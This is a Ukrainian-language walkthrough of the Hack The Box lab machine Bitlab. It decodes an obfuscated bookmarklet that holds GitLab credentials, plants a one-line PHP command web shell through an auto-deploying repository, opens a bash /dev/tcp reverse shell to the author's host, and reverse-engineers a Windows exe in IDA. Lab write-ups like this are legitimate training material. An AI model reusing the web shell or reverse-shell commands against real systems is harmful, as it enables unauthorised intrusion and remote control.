Hack The Box — це платформа для кібербезпеки, яка дозволяє випробувати свої навички у реальних завданнях. У цьому детальному розборі ми зосередимося на рішенні машини Bitlab, яка поєднує в собі слабку обфускацію JavaScript, роботу з GitLab та реверсинг Windows-додатків.
У даній статті розглядаються ключові аспекти: легка обфускація JavaScript, завантаження бекдора через Git-репозиторій та налагодження 32-бітного додатка.
Для підключення до лабораторії використовується VPN. Не рекомендується здійснювати підключення з робочого комп’ютера чи пристрою, що містить важливі дані, оскільки приватна мережа може включати учасників із високими знаннями в області кібербезпеки.
Ця машина має IP адресу 10.10.10.114, яку додаємо в /etc/hosts
10.10.10.114 bitlab.htb
Спочатку виконується сканування відкритих портів. Оскільки повне сканування всіх портів за допомогою nmap займає багато часу, першим кроком використовується masscan. Цей інструмент дозволяє швидко просканувати всі TCP та UDP порти з інтерфейсу tun0 зі швидкістю 1000 пакетів на секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.114 --rate=1000
Далі потрібно зібрати більше інформації про відомі нам порти.
nmap -A bitlab.htb -p22,80
Згідно зі звітом nmap, на хості активні SSH і веб-сервер. На веб-сервері виявлено файл robots.txt. Після аналізу директорій, зазначених у цьому файлі, виявлено активний GitLab і непроіндексовану директорію help.
Переходячи на сторінку bookmarks, маємо кілька посилань.
Усі посилання ведуть на сторінки різних продуктів, за винятком останнього, яке містить не адресу, а JavaScript-код.
Причому цей код обфусовано.
javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()
Щоб отримати більш читаний код, можна користуватися наступним сайтом.
Трохи доопрацювавши код, отримаємо виконання наступних інструкцій.
document.getElementById("user_login").value = "clave";
document.getElementById("user_password").value = "11des0081x";
З цими даними авторизуємось у gitlab. Там знаходимо два профілі.
Також можна виявити один проект, у якому реалізовано підключення до бази даних. У коді містяться всі необхідні дані для встановлення з’єднання.
Перевіривши Profile, нічого цікавого не знаходимо.
У Deployer тільки php код.
З аналізу коду зрозуміло, що при розміщенні файлу у профілі він автоматично розгортається на сервері.
Необхідно розмістити PHP-бекдор, який, наприклад, зможе приймати та виконувати команди.
<?php $cmd = $_REQUEST['cmd']; system($cmd); die; ?>
Відкриваємо Profile та створюємо новий файл.
І після додавання файл з’явиться у репозиторії.
Тепер тестуємо бекдор.
Отримаємо повноцінний шелл.
bash -i >& /dev/tcp/10.10.15.150/4321 0>&1
Бачимо зворотне підключення до свого хоста.
Після отримання доступу до хоста необхідно перевірити раніше здобуті дані, зокрема облікові дані для підключення до бази даних. Відкривається PHP-інтерпретатор у інтерактивному режимі. Використовується знайдений код для перегляду доступних даних. Пароль, зашифрований у форматі Base64, декодується для подальшого використання.
У результаті вдалося отримати пароль, який, як передбачалося, міг бути використаний для підключення через SSH. Проте спроба не увінчалася успіхом, оскільки сам текст у форматі Base64 і є паролем.
Під час огляду машини в домашній директорії користувача було виявлено exe-файл.
scp [email protected]:~/RemoteConnection.exe .
Далі відкриваємо файл у IDA Pro. Прогорнувши головну функцію main, можна знайти порівняння змінної з ім’ям користувача та створення процесу з putty – програма для мережних з’єднань.

Тепер встановлюємо брейкпоінт (BP) перед завантаженням параметрів для функції GetUserNameW.
Запустимо програму у відладчику. Налагодження зупиниться перед викликом потрібної функції.
Тепер код має такий вигляд.
Продовжуємо налагодження програми, щоб дійти до моменту порівняння імені. На цьому етапі адреса рядка параметра вже буде завантажена в регістр EAX для подальшої передачі як параметра у функцію ShellExecuteW.
Тепер натискаємо на стрілочку (jump in disassembly) поруч із регістром EAX. Це дозволяє перейти за адресою, що зберігається у EAX, у головному вікні IDA.
За цією адресою знаходиться рядок параметра. Як видно, він символічно представляє коректний текст “-ssh root…”, але кожен символ займає 2 байти. Для зручного збирання рядка використовується комбінація клавіш Alt+A.
І в цьому вікні вибираємо Unicode C-Style (16 bit). Після чого спостерігаємо коректно зібраний рядок.
Аналіз машини Bitlab показав, як через сканування, використання вразливостей GitLab, налагодження exe-файла та підключення по SSH можна отримати токен. Це приклад ефективного вирішення задач у кібербезпеці.